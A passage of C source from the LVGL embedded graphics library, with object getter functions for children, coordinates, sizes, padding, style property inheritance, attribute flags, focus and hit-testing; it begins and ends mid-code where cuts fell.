* @return pointer to the parent of 'obj'
*/
lv_obj_t * lv_obj_get_parent(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->parent;
}
/**
* Iterate through the children of an object (start from the "youngest")
* @param obj pointer to an object
* @param child NULL at first call to get the next children
* and the previous return value later
* @return the child after 'act_child' or NULL if no more child
*/
lv_obj_t * lv_obj_get_child(const lv_obj_t * obj, const lv_obj_t * child)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * result = NULL;
if(child == NULL) {
result = _lv_ll_get_head(&obj->child_ll);
}
else {
result = _lv_ll_get_next(&obj->child_ll, child);
}
return result;
}
/**
* Iterate through the children of an object (start from the "oldest")
* @param obj pointer to an object
* @param child NULL at first call to get the next children
* and the previous return value later
* @return the child after 'act_child' or NULL if no more child
*/
lv_obj_t * lv_obj_get_child_back(const lv_obj_t * obj, const lv_obj_t * child)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * result = NULL;
if(child == NULL) {
result = _lv_ll_get_tail(&obj->child_ll);
}
else {
result = _lv_ll_get_prev(&obj->child_ll, child);
}
return result;
}
/**
* Count the children of an object (only children directly on 'obj')
* @param obj pointer to an object
* @return children number of 'obj'
*/
uint16_t lv_obj_count_children(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * i;
uint16_t cnt = 0;
_LV_LL_READ(obj->child_ll, i) cnt++;
return cnt;
}
/** Recursively count the children of an object
* @param obj pointer to an object
* @return children number of 'obj'
*/
uint16_t lv_obj_count_children_recursive(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * i;
uint16_t cnt = 0;
_LV_LL_READ(obj->child_ll, i) {
cnt++; /*Count the child*/
cnt += lv_obj_count_children_recursive(i); /*recursively count children's children*/
}
return cnt;
}
/*---------------------
* Coordinate get
*--------------------*/
/**
* Copy the coordinates of an object to an area
* @param obj pointer to an object
* @param cords_p pointer to an area to store the coordinates
*/
void lv_obj_get_coords(const lv_obj_t * obj, lv_area_t * cords_p)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_area_copy(cords_p, &obj->coords);
}
/**
* Reduce area retried by `lv_obj_get_coords()` the get graphically usable area of an object.
* (Without the size of the border or other extra graphical elements)
* @param coords_p store the result area here
*/
void lv_obj_get_inner_coords(const lv_obj_t * obj, lv_area_t * coords_p)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_border_side_t part = lv_obj_get_style_border_side(obj, LV_OBJ_PART_MAIN);
lv_coord_t w = lv_obj_get_style_border_width(obj, LV_OBJ_PART_MAIN);
if(part & LV_BORDER_SIDE_LEFT) coords_p->x1 += w;
if(part & LV_BORDER_SIDE_RIGHT) coords_p->x2 -= w;
if(part & LV_BORDER_SIDE_TOP) coords_p->y1 += w;
if(part & LV_BORDER_SIDE_BOTTOM) coords_p->y2 -= w;
}
/**
* Get the x coordinate of object
* @param obj pointer to an object
* @return distance of 'obj' from the left side of its parent
*/
lv_coord_t lv_obj_get_x(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_coord_t rel_x;
lv_obj_t * parent = lv_obj_get_parent(obj);
if(parent) {
rel_x = obj->coords.x1 - parent->coords.x1;
}
else {
rel_x = obj->coords.x1;
}
return rel_x;
}
/**
* Get the y coordinate of object
* @param obj pointer to an object
* @return distance of 'obj' from the top of its parent
*/
lv_coord_t lv_obj_get_y(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_coord_t rel_y;
lv_obj_t * parent = lv_obj_get_parent(obj);
if(parent) {
rel_y = obj->coords.y1 - parent->coords.y1;
}
else {
rel_y = obj->coords.y1;
}
return rel_y;
}
/**
* Get the width of an object
* @param obj pointer to an object
* @return the width
*/
lv_coord_t lv_obj_get_width(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return lv_area_get_width(&obj->coords);
}
/**
* Get the height of an object
* @param obj pointer to an object
* @return the height
*/
lv_coord_t lv_obj_get_height(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return lv_area_get_height(&obj->coords);
}
/**
* Get that width reduced by the left and right padding.
* @param obj pointer to an object
* @return the width which still fits into the container
*/
lv_coord_t lv_obj_get_width_fit(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_style_int_t left = lv_obj_get_style_pad_left(obj, LV_OBJ_PART_MAIN);
lv_style_int_t right = lv_obj_get_style_pad_right(obj, LV_OBJ_PART_MAIN);
return lv_obj_get_width(obj) - left - right;
}
/**
* Get that height reduced by the top an bottom padding.
* @param obj pointer to an object
* @return the height which still fits into the container
*/
lv_coord_t lv_obj_get_height_fit(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_style_int_t top = lv_obj_get_style_pad_top((lv_obj_t *)obj, LV_OBJ_PART_MAIN);
lv_style_int_t bottom = lv_obj_get_style_pad_bottom((lv_obj_t *)obj, LV_OBJ_PART_MAIN);
return lv_obj_get_height(obj) - top - bottom;
}
/**
* Get the height of an object by taking the top and bottom margin into account.
* The returned height will be `obj_h + margin_top + margin_bottom`
* @param obj pointer to an object
* @return the height including thee margins
*/
lv_coord_t lv_obj_get_height_margin(lv_obj_t * obj)
{
lv_style_int_t mtop = lv_obj_get_style_margin_top(obj, LV_OBJ_PART_MAIN);
lv_style_int_t mbottom = lv_obj_get_style_margin_bottom(obj, LV_OBJ_PART_MAIN);
return lv_obj_get_height(obj) + mtop + mbottom;
}
/**
* Get the width of an object by taking the left and right margin into account.
* The returned width will be `obj_w + margin_left + margin_right`
* @param obj pointer to an object
* @return the height including thee margins
*/
lv_coord_t lv_obj_get_width_margin(lv_obj_t * obj)
{
lv_style_int_t mleft = lv_obj_get_style_margin_left(obj, LV_OBJ_PART_MAIN);
lv_style_int_t mright = lv_obj_get_style_margin_right(obj, LV_OBJ_PART_MAIN);
return lv_obj_get_width(obj) + mleft + mright;
}
/**
* Set that width reduced by the left and right padding of the parent.
* @param obj pointer to an object
* @param div indicates how many columns are assumed.
* If 1 the width will be set the the parent's width
* If 2 only half parent width - inner padding of the parent
* If 3 only third parent width - 2 * inner padding of the parent
* @param span how many columns are combined
* @return the width according to the given parameters
*/
lv_coord_t lv_obj_get_width_grid(lv_obj_t * obj, uint8_t div, uint8_t span)
{
lv_coord_t obj_w = lv_obj_get_width_fit(obj);
lv_style_int_t pinner = lv_obj_get_style_pad_inner(obj, LV_OBJ_PART_MAIN);
lv_coord_t r = (obj_w - (div - 1) * pinner) / div;
r = r * span + (span - 1) * pinner;
return r;
}
/**
* Get that height reduced by the top and bottom padding of the parent.
* @param obj pointer to an object
* @param div indicates how many rows are assumed.
* If 1 the height will be set the the parent's height
* If 2 only half parent height - inner padding of the parent
* If 3 only third parent height - 2 * inner padding of the parent
* @param span how many rows are combined
* @return the height according to the given parameters
*/
lv_coord_t lv_obj_get_height_grid(lv_obj_t * obj, uint8_t div, uint8_t span)
{
lv_coord_t obj_h = lv_obj_get_height_fit(obj);
lv_style_int_t pinner = lv_obj_get_style_pad_inner(obj, LV_OBJ_PART_MAIN);
lv_coord_t r = (obj_h - (div - 1) * pinner) / div;
r = r * span + (span - 1) * pinner;
return r;
}
/**
* Get the automatic realign property of the object.
* @param obj pointer to an object
* @return true: auto realign is enabled; false: auto realign is disabled
*/
bool lv_obj_get_auto_realign(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_OBJ_REALIGN
return obj->realign.auto_realign ? true : false;
#else
(void)obj;
return false;
#endif
}
/**
* Get the left padding of extended clickable area
* @param obj pointer to an object
* @return the extended left padding
*/
lv_coord_t lv_obj_get_ext_click_pad_left(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
return obj->ext_click_pad_hor;
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
return obj->ext_click_pad.x1;
#else
(void)obj; /*Unused*/
return 0;
#endif
}
/**
* Get the right padding of extended clickable area
* @param obj pointer to an object
* @return the extended right padding
*/
lv_coord_t lv_obj_get_ext_click_pad_right(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
return obj->ext_click_pad_hor;
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
return obj->ext_click_pad.x2;
#else
(void)obj; /*Unused*/
return 0;
#endif
}
/**
* Get the top padding of extended clickable area
* @param obj pointer to an object
* @return the extended top padding
*/
lv_coord_t lv_obj_get_ext_click_pad_top(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
return obj->ext_click_pad_ver;
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
return obj->ext_click_pad.y1;
#else
(void)obj; /*Unused*/
return 0;
#endif
}
/**
* Get the bottom padding of extended clickable area
* @param obj pointer to an object
* @return the extended bottom padding
*/
lv_coord_t lv_obj_get_ext_click_pad_bottom(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
return obj->ext_click_pad_ver;
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
return obj->ext_click_pad.y2;
#else
(void)obj; /*Unused*/
return 0;
#endif
}
/**
* Get the extended size attribute of an object
* @param obj pointer to an object
* @return the extended size attribute
*/
lv_coord_t lv_obj_get_ext_draw_pad(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->ext_draw_pad;
}
/*-----------------
* Appearance get
*---------------*/
lv_style_list_t * lv_obj_get_style_list(const lv_obj_t * obj, uint8_t part)
{
if(part == LV_OBJ_PART_MAIN) return &((lv_obj_t *)obj)->style_list;
lv_get_style_info_t info;
info.part = part;
info.result = NULL;
lv_res_t res;
res = lv_signal_send((lv_obj_t *)obj, LV_SIGNAL_GET_STYLE, &info);
if(res != LV_RES_OK) return NULL;
return info.result;
}
/**
* Get a style property of a part of an object in the object's current state.
* If there is a running transitions it is taken into account
* @param obj pointer to an object
* @param part the part of the object which style property should be get.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop the property to get. E.g. `LV_STYLE_BORDER_WIDTH`.
* The state of the object will be added internally
* @return the value of the property of the given part in the current state.
* If the property is not found a default value will be returned.
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_width()`
* @note for performance reasons it's not checked if the property really has integer type
*/
lv_style_int_t _lv_obj_get_style_int(const lv_obj_t * obj, uint8_t part, lv_style_property_t prop)
{
lv_style_property_t prop_ori = prop;
lv_style_attr_t attr;
attr = prop_ori >> 8;
lv_style_int_t value_act;
lv_res_t res = LV_RES_INV;
const lv_obj_t * parent = obj;
while(parent) {
lv_style_list_t * dsc = lv_obj_get_style_list(parent, part);
lv_state_t state = lv_obj_get_state(parent, part);
prop = (uint16_t)prop_ori + ((uint16_t)state << LV_STYLE_STATE_POS);
res = _lv_style_list_get_int(dsc, prop, &value_act);
if(res == LV_RES_OK) return value_act;
if(LV_STYLE_ATTR_GET_INHERIT(attr) == 0) break;
/*If not found, check the `MAIN` style first*/
if(part != LV_OBJ_PART_MAIN) {
part = LV_OBJ_PART_MAIN;
continue;
}
/*Check the parent too.*/
parent = lv_obj_get_parent(parent);
}
/*Handle unset values*/
prop = prop & (~LV_STYLE_STATE_MASK);
switch(prop) {
case LV_STYLE_BORDER_SIDE:
return LV_BORDER_SIDE_FULL;
case LV_STYLE_SIZE:
return LV_DPI / 20;
case LV_STYLE_SCALE_WIDTH:
return LV_DPI / 8;
case LV_STYLE_BG_GRAD_STOP:
return 255;
case LV_STYLE_TRANSFORM_ZOOM:
return LV_IMG_ZOOM_NONE;
}
return 0;
}
/**
* Get a style property of a part of an object in the object's current state.
* If there is a running transitions it is taken into account
* @param obj pointer to an object
* @param part the part of the object which style property should be get.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop the property to get. E.g. `LV_STYLE_BORDER_COLOR`.
* The state of the object will be added internally
* @return the value of the property of the given part in the current state.
* If the property is not found a default value will be returned.
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_color()`
* @note for performance reasons it's not checked if the property really has color type
*/
lv_color_t _lv_obj_get_style_color(const lv_obj_t * obj, uint8_t part, lv_style_property_t prop)
{
lv_style_property_t prop_ori = prop;
lv_style_attr_t attr;
attr = prop_ori >> 8;
lv_color_t value_act;
lv_res_t res = LV_RES_INV;
const lv_obj_t * parent = obj;
while(parent) {
lv_style_list_t * dsc = lv_obj_get_style_list(parent, part);
lv_state_t state = lv_obj_get_state(parent, part);
prop = (uint16_t)prop_ori + ((uint16_t)state << LV_STYLE_STATE_POS);
res = _lv_style_list_get_color(dsc, prop, &value_act);
if(res == LV_RES_OK) return value_act;
if(LV_STYLE_ATTR_GET_INHERIT(attr) == 0) break;
/*If not found, check the `MAIN` style first*/
if(part != LV_OBJ_PART_MAIN) {
part = LV_OBJ_PART_MAIN;
continue;
}
/*Check the parent too.*/
parent = lv_obj_get_parent(parent);
}
/*Handle unset values*/
prop = prop & (~LV_STYLE_STATE_MASK);
switch(prop) {
case LV_STYLE_BG_COLOR:
case LV_STYLE_BG_GRAD_COLOR:
return LV_COLOR_WHITE;
}
return LV_COLOR_BLACK;
}
/**
* Get a style property of a part of an object in the object's current state.
* If there is a running transitions it is taken into account
* @param obj pointer to an object
* @param part the part of the object which style property should be get.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop the property to get. E.g. `LV_STYLE_BORDER_OPA`.
* The state of the object will be added internally
* @return the value of the property of the given part in the current state.
* If the property is not found a default value will be returned.
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has opacity type
*/
lv_opa_t _lv_obj_get_style_opa(const lv_obj_t * obj, uint8_t part, lv_style_property_t prop)
{
lv_style_property_t prop_ori = prop;
lv_style_attr_t attr;
attr = prop_ori >> 8;
lv_opa_t value_act;
lv_res_t res = LV_RES_INV;
const lv_obj_t * parent = obj;
while(parent) {
lv_style_list_t * dsc = lv_obj_get_style_list(parent, part);
lv_state_t state = lv_obj_get_state(parent, part);
prop = (uint16_t)prop_ori + ((uint16_t)state << LV_STYLE_STATE_POS);
res = _lv_style_list_get_opa(dsc, prop, &value_act);
if(res == LV_RES_OK) return value_act;
if(LV_STYLE_ATTR_GET_INHERIT(attr) == 0) break;
/*If not found, check the `MAIN` style first*/
if(part != LV_OBJ_PART_MAIN) {
part = LV_OBJ_PART_MAIN;
continue;
}
/*Check the parent too.*/
parent = lv_obj_get_parent(parent);
}
/*Handle unset values*/
prop = prop & (~LV_STYLE_STATE_MASK);
switch(prop) {
case LV_STYLE_BG_OPA:
case LV_STYLE_IMAGE_RECOLOR_OPA:
case LV_STYLE_PATTERN_RECOLOR_OPA:
return LV_OPA_TRANSP;
}
return LV_OPA_COVER;
}
/**
* Get a style property of a part of an object in the object's current state.
* If there is a running transitions it is taken into account
* @param obj pointer to an object
* @param part the part of the object which style property should be get.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @param prop the property to get. E.g. `LV_STYLE_TEXT_FONT`.
* The state of the object will be added internally
* @return the value of the property of the given part in the current state.
* If the property is not found a default value will be returned.
* @note shouldn't be used directly. Use the specific property get functions instead.
* For example: `lv_obj_style_get_border_opa()`
* @note for performance reasons it's not checked if the property really has pointer type
*/
const void * _lv_obj_get_style_ptr(const lv_obj_t * obj, uint8_t part, lv_style_property_t prop)
{
lv_style_property_t prop_ori = prop;
lv_style_attr_t attr;
attr = prop_ori >> 8;
const void * value_act;
lv_res_t res = LV_RES_INV;
const lv_obj_t * parent = obj;
while(parent) {
lv_style_list_t * dsc = lv_obj_get_style_list(parent, part);
lv_state_t state = lv_obj_get_state(parent, part);
prop = (uint16_t)prop_ori + ((uint16_t)state << LV_STYLE_STATE_POS);
res = _lv_style_list_get_ptr(dsc, prop, &value_act);
if(res == LV_RES_OK) return value_act;
if(LV_STYLE_ATTR_GET_INHERIT(attr) == 0) break;
/*If not found, check the `MAIN` style first*/
if(part != LV_OBJ_PART_MAIN) {
part = LV_OBJ_PART_MAIN;
continue;
}
/*Check the parent too.*/
parent = lv_obj_get_parent(parent);
}
/*Handle unset values*/
prop = prop & (~LV_STYLE_STATE_MASK);
switch(prop) {
case LV_STYLE_TEXT_FONT:
case LV_STYLE_VALUE_FONT:
return lv_theme_get_font_normal();
#if LV_USE_ANIMATION
case LV_STYLE_TRANSITION_PATH:
return &lv_anim_path_def;
#endif
}
return NULL;
}
/**
* Get the local style of a part of an object.
* @param obj pointer to an object
* @param part the part of the object which style property should be set.
* E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_PART_MAIN`, `LV_SLIDER_PART_KNOB`
* @return pointer to the local style if exists else `NULL`.
*/
lv_style_t * lv_obj_get_local_style(lv_obj_t * obj, uint8_t part)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_style_list_t * style_list = lv_obj_get_style_list(obj, part);
return lv_style_list_get_local_style(style_list);
}
/*-----------------
* Attribute get
*----------------*/
/**
* Get the hidden attribute of an object
* @param obj pointer to an object
* @return true: the object is hidden
*/
bool lv_obj_get_hidden(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->hidden == 0 ? false : true;
}
/**
* Get whether advanced hit-testing is enabled on an object
* @param obj pointer to an object
* @return true: advanced hit-testing is enabled
*/
bool lv_obj_get_adv_hittest(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->adv_hittest == 0 ? false : true;
}
/**
* Get the click enable attribute of an object
* @param obj pointer to an object
* @return true: the object is clickable
*/
bool lv_obj_get_click(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->click == 0 ? false : true;
}
/**
* Get the top enable attribute of an object
* @param obj pointer to an object
* @return true: the auto top feature is enabled
*/
bool lv_obj_get_top(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->top == 0 ? false : true;
}
/**
* Get the drag enable attribute of an object
* @param obj pointer to an object
* @return true: the object is draggable
*/
bool lv_obj_get_drag(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->drag == 0 ? false : true;
}
/**
* Get the directions an object can be dragged
* @param obj pointer to an object
* @return bitwise OR of allowed directions an object can be dragged in
*/
lv_drag_dir_t lv_obj_get_drag_dir(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->drag_dir;
}
/**
* Get the drag throw enable attribute of an object
* @param obj pointer to an object
* @return true: drag throw is enabled
*/
bool lv_obj_get_drag_throw(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->drag_throw == 0 ? false : true;
}
/**
* Get the drag parent attribute of an object
* @param obj pointer to an object
* @return true: drag parent is enabled
*/
bool lv_obj_get_drag_parent(const lv_obj_t * obj)
{
return obj->drag_parent == 0 ? false : true;
}
/**
* Get the gesture parent attribute of an object
* @param obj pointer to an object
* @return true: gesture parent is enabled
*/
bool lv_obj_get_gesture_parent(const lv_obj_t * obj)
{
return obj->gesture_parent == 0 ? false : true;
}
/**
* Get the focus parent attribute of an object
* @param obj pointer to an object
* @return true: focus parent is enabled
*/
bool lv_obj_get_focus_parent(const lv_obj_t * obj)
{
return obj->focus_parent == 0 ? false : true;
}
/**
* Get the drag parent attribute of an object
* @param obj pointer to an object
* @return true: drag parent is enabled
*/
bool lv_obj_get_parent_event(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->parent_event == 0 ? false : true;
}
lv_bidi_dir_t lv_obj_get_base_dir(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_BIDI
const lv_obj_t * parent = obj;
while(parent) {
if(parent->base_dir != LV_BIDI_DIR_INHERIT) return parent->base_dir;
parent = lv_obj_get_parent(parent);
}
return LV_BIDI_BASE_DIR_DEF;
#else
(void) obj; /*Unused*/
return LV_BIDI_DIR_LTR;
#endif
}
/**
* Get the protect field of an object
* @param obj pointer to an object
* @return protect field ('OR'ed values of `lv_protect_t`)
*/
uint8_t lv_obj_get_protect(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->protect;
}
/**
* Check at least one bit of a given protect bitfield is set
* @param obj pointer to an object
* @param prot protect bits to test ('OR'ed values of `lv_protect_t`)
* @return false: none of the given bits are set, true: at least one bit is set
*/
bool lv_obj_is_protected(const lv_obj_t * obj, uint8_t prot)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return (obj->protect & prot) == 0 ? false : true;
}
lv_state_t lv_obj_get_state(const lv_obj_t * obj, uint8_t part)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(part < _LV_OBJ_PART_REAL_LAST) return ((lv_obj_t *)obj)->state;
/*If a real part is asked, then use the object's signal to get its state.
* A real object can be in different state then the main part
* and only the object itself knows who to get it's state. */
lv_get_state_info_t info;
info.part = part;
info.result = LV_STATE_DEFAULT;
lv_signal_send((lv_obj_t *)obj, LV_SIGNAL_GET_STATE_DSC, &info);
return info.result;
}
/**
* Get the signal function of an object
* @param obj pointer to an object
* @return the signal function
*/
lv_signal_cb_t lv_obj_get_signal_cb(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->signal_cb;
}
/**
* Get the design function of an object
* @param obj pointer to an object
* @return the design function
*/
lv_design_cb_t lv_obj_get_design_cb(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->design_cb;
}
/**
* Get the event function of an object
* @param obj pointer to an object
* @return the event function
*/
lv_event_cb_t lv_obj_get_event_cb(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->event_cb;
}
/*------------------
* Other get
*-----------------*/
/**
* Get the ext pointer
* @param obj pointer to an object
* @return the ext pointer but not the dynamic version
* Use it as ext->data1, and NOT da(ext)->data1
*/
void * lv_obj_get_ext_attr(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->ext_attr;
}
/**
* Get object's and its ancestors type. Put their name in `type_buf` starting with the current type.
* E.g. buf.type[0]="lv_btn", buf.type[1]="lv_cont", buf.type[2]="lv_obj"
* @param obj pointer to an object which type should be get
* @param buf pointer to an `lv_obj_type_t` buffer to store the types
*/
void lv_obj_get_type(const lv_obj_t * obj, lv_obj_type_t * buf)
{
LV_ASSERT_NULL(buf);
LV_ASSERT_NULL(obj);
lv_obj_type_t tmp;
_lv_memset_00(buf, sizeof(lv_obj_type_t));
_lv_memset_00(&tmp, sizeof(lv_obj_type_t));
obj->signal_cb((lv_obj_t *)obj, LV_SIGNAL_GET_TYPE, &tmp);
uint8_t cnt;
for(cnt = 0; cnt < LV_MAX_ANCESTOR_NUM; cnt++) {
if(tmp.type[cnt] == NULL) break;
}
/*Swap the order. The real type comes first*/
uint8_t i;
for(i = 0; i < cnt; i++) {
buf->type[i] = tmp.type[cnt - 1 - i];
}
}
#if LV_USE_USER_DATA
/**
* Get the object's user data
* @param obj pointer to an object
* @return user data
*/
lv_obj_user_data_t lv_obj_get_user_data(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return obj->user_data;
}
/**
* Get a pointer to the object's user data
* @param obj pointer to an object
* @return pointer to the user data
*/
lv_obj_user_data_t * lv_obj_get_user_data_ptr(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
return (lv_obj_user_data_t *)&obj->user_data;
}
/**
* Set the object's user data. The data will be copied.
* @param obj pointer to an object
* @param data user data
*/
void lv_obj_set_user_data(lv_obj_t * obj, lv_obj_user_data_t data)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
_lv_memcpy(&obj->user_data, &data, sizeof(lv_obj_user_data_t));
}
#endif
/**
* Get the group of the object
* @param obj pointer to an object
* @return the pointer to group of the object
*/
void * lv_obj_get_group(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_GROUP
return obj->group_p;
#else
LV_UNUSED(obj);
return NULL;
#endif
}
/**
* Tell whether the object is the focused object of a group or not.
* @param obj pointer to an object
* @return true: the object is focused, false: the object is not focused or not in a group
*/
bool lv_obj_is_focused(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
#if LV_USE_GROUP
if(obj->group_p) {
if(lv_group_get_focused(obj->group_p) == obj) return true;
}
return false;
#else
LV_UNUSED(obj);
return false;
#endif
}
/*-------------------
* OTHER FUNCTIONS
*------------------*/
/**
* Check if a given screen-space point is on an object's coordinates.
*
* This method is intended to be used mainly by advanced hit testing algorithms to check
* whether the point is even within the object (as an optimization).
* @param obj object to check
* @param point screen-space point
*/
bool lv_obj_is_point_on_coords(lv_obj_t * obj, const lv_point_t * point)
{
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
lv_area_t ext_area;
ext_area.x1 = obj->coords.x1 - obj->ext_click_pad_hor;
ext_area.x2 = obj->coords.x2 + obj->ext_click_pad_hor;
ext_area.y1 = obj->coords.y1 - obj->ext_click_pad_ver;
ext_area.y2 = obj->coords.y2 + obj->ext_click_pad_ver;
if(!_lv_area_is_point_on(&ext_area, point, 0)) {
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
lv_area_t ext_area;
ext_area.x1 = obj->coords.x1 - obj->ext_click_pad.x1;
ext_area.x2 = obj->coords.x2 + obj->ext_click_pad.x2;
ext_area.y1 = obj->coords.y1 - obj->ext_click_pad.y1;
ext_area.y2 = obj->coords.y2 + obj->ext_click_pad.y2;
if(!_lv_area_is_point_on(&ext_area, point, 0)) {
#else
if(!_lv_area_is_point_on(&obj->coords, point, 0)) {
#endif
return false;
}
return true;
}
/**
* Hit-test an object given a particular point in screen space.
* @param obj object to hit-test
* @param point screen-space point
* @return true if the object is considered under the point
*/
bool lv_obj_hittest(lv_obj_t * obj, lv_point_t * point)
{
if(obj->adv_hittest) {
lv_hit_test_info_t hit_info;
hit_info.point = point;
hit_info.result = true;
obj->signal_cb(obj, LV_SIGNAL_HIT_TEST, &hit_info);
return hit_info.result;
}
else
return lv_obj_is_point_on_coords(obj, point);
}
/**
* Used in the signal callback to handle `LV_SIGNAL_GET_TYPE` signal
* @param obj pointer to an object
* @param buf pointer to `lv_obj_type_t`. (`param` in the signal callback)
* @param name name of the object. E.g. "lv_btn". (Only the pointer is saved)
* @return LV_RES_OK
*/
lv_res_t lv_obj_handle_get_type_signal(lv_obj_type_t * buf, const char * name)
{
uint8_t i;
for(i = 0; i < LV_MAX_ANCESTOR_NUM - 1; i++) { /*Find the last set data*/
if(buf->type[i] == NULL) break;
}
buf->type[i] = name;
return LV_RES_OK;
}
/**
* Initialize a rectangle descriptor from an object's styles
* @param obj pointer to an object
* @param type type of style. E.g. `LV_OBJ_PART_MAIN`, `LV_BTN_STYLE_REL` or `LV_PAGE_STYLE_SCRL`
* @param draw_dsc the descriptor the initialize
* @note Only the relevant fields will be set.
* E.g. if `border width == 0` the other border properties won't be evaluated.
*/
void lv_obj_init_draw_rect_dsc(lv_obj_t * obj, uint8_t part, lv_draw_rect_dsc_t * draw_dsc)
{
draw_dsc->radius = lv_obj_get_style_radius(obj, part);
#if LV_USE_OPA_SCALE
lv_opa_t opa_scale = lv_obj_get_style_opa_scale(obj, part);
if(opa_scale <= LV_OPA_MIN) {
draw_dsc->bg_opa = LV_OPA_TRANSP;
draw_dsc->border_opa = LV_OPA_TRANSP;
draw_dsc->shadow_opa = LV_OPA_TRANSP;
draw_dsc->pattern_opa = LV_OPA_TRANSP;
draw_dsc->value_opa = LV_OPA_TRANSP;
return;
}
#endif
if(draw_dsc->bg_opa != LV_OPA_TRANSP) {
draw_dsc->bg_opa = lv_obj_get_style_bg_opa(obj, part);
if(draw_dsc->bg_opa > LV_OPA_MIN) {
draw_dsc->bg_color = lv_obj_get_style_bg_color(obj, part);
draw_dsc->bg_grad_dir = lv_obj_get_style_bg_grad_dir(obj, part);
if(draw_dsc->bg_grad_dir != LV_GRAD_DIR_NONE) {
draw_dsc->bg_grad_color = lv_obj_get_style_bg_grad_color(obj, part);
draw_dsc->bg_main_color_stop = lv_obj_get_style_bg_main_stop(obj, part);
draw_dsc->bg_grad_color_stop = lv_obj_get_style_bg_grad_stop(obj, part);
}
#if LV_USE_BLEND_MODES
draw_dsc->bg_blend_mode = lv_obj_get_style_bg_blend_mode(obj, part);
#endif
}
}
if(draw_dsc->border_opa != LV_OPA_TRANSP) {
draw_dsc->border_width = lv_obj_get_style_border_width(obj, part);
